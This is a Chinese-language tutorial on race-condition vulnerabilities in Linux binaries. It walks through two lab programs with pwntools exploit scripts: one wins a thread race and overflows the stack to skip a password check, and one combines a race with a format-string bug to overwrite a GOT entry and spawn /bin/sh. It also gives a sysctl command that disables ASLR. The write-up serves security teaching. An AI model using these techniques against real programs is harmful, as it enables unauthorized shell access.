二进制-条件竞争漏洞

基础知识

条件竞争

系统中,最小的运算调度单位是线程,而每个线程又依附于一个进程,条件竞争则是多进程或多线程对一个共享资源操作,因为操作顺序不受控的时候所产生的问题

进程

  • 进程是为了更好的利用CPU资源;
  • 进程是系统进行资源分配和调度的一个独立单位;
  • 每个进程都有自己的独立内存空间,不同进程通过进程间通信来通信;
  • 由于进程比较重要,占据独立的内存,所以上下文进程间的切换开销(栈、寄存器、虚拟内存、文件句柄等)比较大,但相对比较稳定安全;

线程

  • 线程的是为了降低上下文切换的消耗,提高系统的并发性,并突破一个进程只能干一样事的缺陷,使到进程内并发成为可能;
  • 线程是进程的一个实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位;
  • 线程自己基本上不拥有系统资源,只拥有在运行中必不可少的资源(如程序计数器、一组寄存器和栈),但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源;
  • 线程间通信主要通过共享内存,上下文切换很快,资源开销较少,但相比进程不够稳定容易丢失数据;

协程

  • 协程通过在线程中实现调度,避免了陷入内核级别的上下文切换造成的性能损失,进而突破了线程在IO上的性能瓶颈;
  • 协程拥有自己的寄存器上下文和栈;
  • 协程调度切换时,将寄存器上下文和栈保存到其他地方,在切回来的时候,恢复先前保存的寄存器上下文和栈,直接操作栈则基本没有内核切换的开销;

并发编程

  • 目的:并发编程在实际情况是为了提高执行效率,提高系统的利用率;

  • CPU的速度远快于各种IO,而这也导致了CPU在很多时候,都是在持续等待中;

  • 然而如果利用分时的机制,这样可以让CPU将不同时间片分发给不同的task,这样就能大大的提示CPU的利用率;

  • 而且这种机制也可以让多个程序分开执行不同任务;

  • 从整个程序的执行角度来看,程序执行时可以看作是对输入的数据进行计算处理然后输出到特定的设备中;

  • 当其中的一个环节正在执行的时候其他环节就会挂起;

  • 一旦输入阻塞,即IO等待读入数据,那么已读入的数据也不能得到处理,已处理的数据也不能输出,这就造成了CPU的闲置;

  • 如果这三个步骤可以并发执行的话,即使IO在等待输入,CPU仍然可以对已在内存中的数据做计算处理,结果也可以正常输出;

  • 这就提高了CPU的利用率,不会因为输入输出的阻塞,导致CPU的计算能力被浪费;

  • 当有多种类型的任务执行时,为每种任务单独编写程序,比编写混杂在一起的所有任务的程序,要简单的多;

条件竞争漏洞

漏洞成因

  • 当一个系统运行结果,依赖于不可控的事情的先后顺序的时候,就可能发生竞争;
  • 往往程序员可能无法注意到这些事情,因为在编写程序的时候,往往认为程序一条线执行下来,但是一个线程在运行中是可能被随时打断,并且挂起,然后去执行其他线程的逻辑。导致出现了设计人员意料之外的情况,最终出现bug;

条件竞争产生的条件

  • 并发,即至少存在两个并发执行流
    • 这里的执行流包括线程、进程、任务等级别的执行流;
  • 共享对象,即多个并发流会访问同一对象
    • 常见的共享对象有共享内存、文件系统、信号,这些共享对象是用来使得多个程序执行流相互交流;
  • 改变对象,即至少有一个控制流会改变竞争对象的状态
    • 如果程序只是对对象进行读操作,那么并不会产生条件竞争;

举例分析,如下图:

  • task1先对共享的空间进行了一个安全性检查,检查完之后,task2紧接着修改了共享空间的内容,导致task1的安全性检查边的不可控,甚至可以是一个不安全的数据,然而再次在获取数据的时候,就可能出现预期之外的情况,严重的可能导致程序执行流被劫持;

  • 但是在程序员的角度,从check到get这个过程中共享空间的内容是不会变的,但是对于多线程来说,这个是未知的;

条件竞争漏洞示例1分析

  • 将程序放入IDA中反汇编,得到main函数如下,调用了init_main()函数和login函数;

  • init_main()函数,发现其利用urandom中的真随机数生成器生成数据,函数利用urandom中的数据为种子,生成一串长为0xf也就是15字节,无法预测password中的密码;

  • login函数

    • 逻辑上可以看出,read(0, share_buf, 0x100)是先让用户输入了一个password,长度不超过0x100,然后将这个数据保存到&share_buf中,&share_buf是局部变量,保存在栈上的bss段上;

    • 再通过pthread_create创建一个check_password的函数去检测&share_buf中保存的password是否为一个合法的值;

  • check_password函数

    • a1即share_buf,输入的口令;
    • 先根据输入的password长度,在栈上开辟一段空间(alloca函数是在栈上开辟空间),开辟的空间大小为0x10*((n+0xF)/0x10)
    • 然后再判断输入的长度是否和password的长度一样长,如果不一样则会直接结束;
    • 如果一样长则会获取要比较的字符串长度,然后会调用strcpy函数,将用户密码从bss段上复制一份到栈上,然后调用strncmp函数来比较用户输入的密码是否与随机生成密码一样,如果一样的话,则起一个shell,如果不一样,就会登陆失败,直接返回;
  • 分析

    • bss上的share_buf是作为参数传递给check_password;

    • 即主线程和子线程共同操作同一块内存空间;

    • 如果在子线程调用alloc之后,调用strcpy之前,通过主线程去修改位于bss段上的share_buf,就可以在strcpy处产生溢出;

    • 然后在程序中,子进程的strcpy之前有一个sleep(1)操作;

    • 导致了alloc到strcpy之间有足够的时间,让主线程去修改共享变量;

      • 例如,将共享变量share_buf里面的数据长度改的超过一开始alloc的长度,这样就会造成栈溢出;

条件竞争漏洞利用

  1. 利用思路

    • checksec发现程序开启了canary,所以直接溢出覆盖返回值是不行的,无法劫持程序流;
    • 登陆成功,程序会自动起一个shell,如果想要登陆成功:
      1. 需要控制strncmp返回值为0;
      2. 或者是控制dest的地址指向password;
      3. 或者控制n为0;
    • 控制dest是不行的,因为dest指向的是stack上,stack的地址一般是0x7f0000000000开头的,而password的地址为0x06020E0又是通过strcpy复制过去的,不能有过多的\x00,所以这里覆盖dest是不可行的;
    • 可以利用strcpy会在结尾加\x00的特性去覆盖n,使得n的值为0,这样成功的时候strncmp也可以返回0,以达到绕过登陆的目的;
  2. 编写payload如下,功能为先启动程序,接着用gdb.attach调试,并且在0x0400CB2处下一个断点,也就是strcpy处下断点,然后先后发两次数据过去,一次长度为0xfa,一次为0x60a

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    def GameStart(ip, port, debug):
    if debug:
    p = process('./Racecondition')
    gdb.attach(p, 'b *0x0400CB2')
    else:
    p = retmoe(ip, port)
    p.recvuntil(':\n')
    p.send('a' * 0xf + '\x00')
    p.recvuntil(':\n')
    p.send('a' * 0x60 + '\x00')
    p.interactive()
    if __name__ == '__main__':
    GameStart('', 2333, 1)
  3. 执行分析

    • 程序执行过程中,第一次输入0xf个a之后,应该起了第一个线程,并且第一个线程进入到了sleep函数中;

    • check-password线程先睡眠,但是主进程pthread_create()不会因为check- password线程睡眠而终止,它继续执行后面的return,返回主函数后,接着循环,再执行输入login()函数;

    • 第二次输入0x60个a之后写入share_buf,程序起了第二个check-password线程;

    • 二个线程发现share_buf(即s)长度超了,所以输出了一个”The password length error!”,但是这时候第一个线程在strcpy前还在等待中,然而即将要被复制的share_buf内容却被第二个线程输入了0x60个a,这时候gdb分析栈的信息;

    • gdb已经停在了strcpy函数处;

    • 查看src即share_buf中的内容如下,写入0x60个a;

    • 查看栈信息如下;

    • ni执行strcpy后,偏移地址0000-0060,写入了0x60个a;

  4. 重新编写payload,覆盖n,将n置为0,绕过strncmp,获取shell;

    • 从内容上来看,这时候share_buf里面已经存放了0x60个a了,从ida中可以看出, alloca之前的rsp栈顶的位置位于rbp–0x70处(即v4,v4的地址是rsp+0h,即rsp的值,即rbp–0x70

    • 通过对alloca(16*((n+15)/0x10))的计算,这里应该是16*((0xf+15)/0x10)=0x10(这里n应该是第一个线程的0xf,第一个线程已经把strcpy之前的代码走完了),相当于alloca重新在栈上分配了0x10空间,rsp向低地址空间增长了0x10

    • 执行strcpy后,偏移地址0000-0060,写入了0x60个a,发生了栈溢出,继续执行下去会发生段错误,是因为覆盖到了dest地址,使得dest的值变为了0x6161616161616161导致这是一个无效的地址 ,程序在访问的时候,会出现异常;

    • 接下来考虑如何覆盖n;

      • strcpy是从栈顶开始复制的,而n的位置位于rsp+20,然后前面alloca申请的大小为0x10

      • 所以n应该位于0x30的位置,所幸这里dest的位置比n低,所以在覆盖的时候,只会覆盖n,不会覆盖破坏dest的内容,就可以达到绕过strncmp的目的;

    • 修改payload如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      from pwn import *
      context(arch = 'amd64', os = 'linux', endian = 'little')
      context.log_level = 'debug'
      def GameStart(ip, port, debug):
      if debug:
      p = process('./Racecondition')
      gdb.attach(p, 'b *0x0400CB2')
      else:
      p = retmoe(ip, port)
      p.recvuntil(':\n')
      p.send('a' * 0xf + '\x00')
      p.recvuntil(':\n')
      p.send('a' * 0x30 + '\x00')
      p.interactive()
      if __name__ == '__main__':
      GameStart('', 2333, 1)
  5. 再次执行脚本

    • 在strcpy前断下,栈情况如下,从图中可以看到,此时share_buf中有0x30个a,而我们的目的是要将展示0xf覆盖为0
    • 执行strcpy之后对比发现,n的位置已经被strcpy结尾的\x00覆盖为了0,这样在调用strncmp的时候,比较长度就是0,返回值也一定为0,直接绕过password的check拿到shell;
    • 程序最后输出“Welcome administrator!” 字样,证明这里成功的绕过了登陆验证,可以执行shell命令;

条件竞争漏洞示例2分析

程序分析

  1. 将程序放入IDA中,找到main函数,对main函数进行反汇编代码如下,函数功能简单,用于保存某个用户的name和life_creed,用户可以通过输入命令来进行更改这两个属性的值,也可以通过命令查看、退出等,具体流程如下:

    1. 命令1:输入name和life_creed信息
    2. 命令2:生成一个线程,用于修改name的值
    3. 命令3:生成一个线程,用于修改life_creed的值
    4. 命令4:显示name和life_creed的值
    5. 命令5:退出程序
  2. 分析子函数功能

    1. sub_400AA3()函数——初始化信息;

      输出一串信息,输入一个命令执行响应的函数;

    2. sub_400B69()函数——输入name和life_creed信息

      此过程没有进行特殊字符的检查,也没有进行strcpy()或strcmp()等敏感操作;

    3. start_routine(void *a1)函数——修改name的线程函数

      此过程也没有进行上述敏感操作或sleep()操作,暂未找到可利用的地方;

    4. sub_400CE1(void *a1)函数——修改life_creed的线程函数

      此过程可以看到图中红色部分的子函数sub_400BDA(&buf, &buf),对此函数进行反编译,可见其功能是对输入的字符进行检查,如果遇到特殊字符%$就终止程序,此过程过滤了格式化字符串漏洞;

      注意到蓝色框线内的strncpy函数,限制了长度,但是将buf字符串复制到dest字符串中,而dest字符串是全局变量,满足了条件竞争中的其中一个条件“共享对象”;

      其中对life_creed在命令1和3中都进行了对dest修改,也满足了条件“改变对象”;

      注意到绿色框线内有sleep 3秒钟,和主线程可以一起执行此子线程,满足了条件竞争的其中一个条件“并发”;

      注意到黑色框线内的printf(dest);联想到格式化字符串漏洞;

    5. sub_400DD0()函数——信息输出函数

    6. sub_400E13()函数——程序退出函数

      此处判断是否对此game满意,输入yes才会退出,否则继续游戏;

      注意到下图的strncmp函数,此函数第一个参数为buf,没有进行敏感字符检查,想到可以将strncmp函数的got表地址修改为system函数的地址,进而buf中直接输入/bin/sh即可拿到shell权限;

  3. 关于64位程序的参数存放

    1. 使用gdb调试程序,设置断点,并不能在main函数设置断点,在printf设置断点;

    2. 在运行到printf(dest)时,看到如下信息

      64位的格式化字符串漏洞的利用方式和32位的不同,32位的参数都是按照栈直接存储查找的,而64位的参数会先放到寄存器里,也就是说format不管多长,都只是存到下面的RDI寄存器内,可以理解为第0个参数,其余的参数存放到剩下的5个寄存器内。而ESP的指针即栈顶为第六个参数。所以再利用格式化字符串漏洞时需要先覆盖栈内的内容,再根据format查找参数进行覆写。

利用思路

根据上述分析,漏洞的利用思路可以分为以下几个步骤:

  1. 获取strncmp函数地址和system函数地址;
  2. 输入命令3,输入strncmp的got表的地址到buf,buf的值会存到栈上,buf将复制到dest里,并通过了检查,进入sleep;
  3. 输入命令1,将dest替换为格式化字符串,修改strncmp的got表地址为system函数的地址;
  4. 此时输入命令5,strncmp函数变为system函数地址,buf为第一个参数,输入/bin/sh时,相当于执行system('/bin/sh')

利用过程

  1. 获取strncmp函数地址和system函数地址

    1. 通过gdb调试,在0x400E13(ida中的地址)处设置断点,顺序执行到strncmp函数如下;

    2. 查看0x400890处的汇编指令,即可得到strncmp函数的got表地址为0x602028

    3. 获取system函数的地址可以采用根据puts函数地址的偏移来获取,关闭地址随机化后,system函数的地址是固定的,直接print即可得到system的地址为0x7ffff7812550

      临时关闭地址随机化指令

      1
      sysctl -w kernel.randomize_va_space=0
  2. 输入命令3,修改栈上内容为strncmp的got表地址并通过检查

    1. strncmp的got表的地址为0x602028,由于是64位可执行程序,格式化字符串每次可以将2字节数据写入内存,此处要写8次,所以应该在栈上写上从地址0x602028~0x60202f,一共八个地址;

    2. 写一个循环,将这八个地址拼接起来,python代码如下;

      1
      2
      3
      4
      5
      def strncmp_addr(strncmp_got):
      addr_part = ''
      for i in range(8):
      addr_part += p64(strncmp_got + i)
      return addr_part
    3. 修改栈上内容为strncmp的got表地址并通过检查的代码如下;

      1
      2
      3
      4
      5
      # overwrite stack with strncmp' got_addr and pass the check
      p.recvuntil('Your choice: ')
      p.sendline('3')
      p.recvuntil('Input your new life_creed: ')
      p.sendline(strncmp_addr(strncmp_got))
    4. 0x400CE1设置断点,查看被覆写后的栈的情况;

      下图显示的栈内的红色区域即被写入strncmp函数的got表的地址,从0x602028~0x60202f

  3. 输入命令1,输入格式化字符串并修改strncmp地址为system

    1. 构造格式化字符串,同上分析,需要覆写8次,而由于64位函数的参数先保存在寄存器内,再从栈上寻找,栈顶的参数恰好为printf的第6个参数,所以覆写八次,参数分别为6-13个参数,所以generate_format函数如下;

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      def generate_format(value):
      payload = ''
      print_count = 0
      for i in range(8):
      if (value >> (8 * i)) == 0:
      break
      one_byte = (value >> (8 * i)) & 0xff
      payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 6 + i)
      print_count += (one_byte - print_count) % 0x100
      return payload
    2. 输入格式化字符串并修改strncmp地址为system地址的代码如下;

      1
      2
      3
      4
      5
      6
      7
      8
      system_addr = 0x7ffff7835390
      # replace 'life_creed' with format string
      p.recvuntil('Your choice: ')
      p.sendline('1')
      p.recvuntil('name: ')
      p.sendline('yourname')
      p.recvuntil('life_creed: ')
      p.sendline(generate_format(system_addr))
    3. 等待3秒,上一个线程就会执行printf(dest),从而将got表中strncmp地址修改为system函数的地址;

      1
      time.sleep(3)
    4. 在命令5处,即0x400E13处设置断点,查看此时got表中strncmp函数的内容,strncmp函数的内容被覆盖为system函数的地址,即0x7ffff7812550

  4. 执行system('/bin/sh')

    1. 此时GOT表中strncmp地址已被覆写为system地址,在buf中输入/bin/sh,执行到strncmp函数时,第一个参数即为buf,相当于执行system('/bin/sh'),最后代码如下;

      1
      2
      3
      4
      5
      6
      7
      # /bin/sh
      time.sleep(3)
      p.recvuntil('Your choice: ')
      p.sendline('5')
      p.recvuntil('Are you satisfied with this game?\n')
      p.sendline('/bin/sh')
      p.interactive()
    2. 运行编写的python代码,成功拿到shell权限;

备注:实验程序下载